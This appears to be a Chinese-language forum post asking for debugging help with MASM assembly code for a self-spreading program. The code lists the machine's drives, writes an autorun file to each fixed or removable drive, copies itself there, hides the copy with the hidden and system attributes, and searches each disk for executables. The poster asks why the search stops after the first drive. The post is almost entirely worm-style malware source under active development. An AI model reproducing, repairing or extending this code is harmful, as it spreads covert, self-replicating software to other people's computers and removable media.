_Browse proc uses ebx esi edi _lParam
local @szBuffer[1024]:byte
invoke GetLogicalDriveStrings,sizeof @szBuffer,addr @szBuffer
.if eax
invoke _CopyMe,addr @szBuffer
.endif
ret
_Browse endp
这是搜索驱动器
_CopyMe proc _szDir
local @szBuffer[128]:byte
pushad
mov esi,_szDir
@@:
invoke GetDriveType,esi
.if eax == DRIVE_FIXED || DRIVE_REMOVABLE ;如果为可用
invoke lstrcpy,addr @szBuffer,esi
invoke _BindEntry,addr @szBuffer
.endif
add esi,4
cmp byte ptr [esi],0
jnz @B
popad
ret
_CopyMe endp 检查是否可用的可用驱动器
_BindEntry proc uses ebx esi edi,_lParam
local @szBuffer[128]:byte
invoke lstrcpy,addr @szBuffer,_lParam
invoke lstrcat,addr @szBuffer,addr szAutorunNme
invoke _CreateAutorun,addr @szBuffer ;创建inf文件
invoke lstrcpy,addr @szBuffer,_lParam
invoke lstrcat,addr @szBuffer,addr szFileName
invoke CopyFile,addr szMyPath,addr @szBuffer,FALSE ;拷贝自身
invoke SetFileAttributes,addr @szBuffer,FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN
invoke _FindExe,addr vexed ;这里是搜索当前的磁盘
ret
_BindEntry endp
现在的问题是invoke _FindExe,addr vexed这个过程只执行一次.也就是程序运行后,它
只搜索C盘,期于的盘都不搜索就结束了,也就是_CopyMe 检查的第一个磁盘
还有 如果换成线程去执行 _FindExe过程的话.程序连一个盘也不搜索了.
大侠门指点下
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课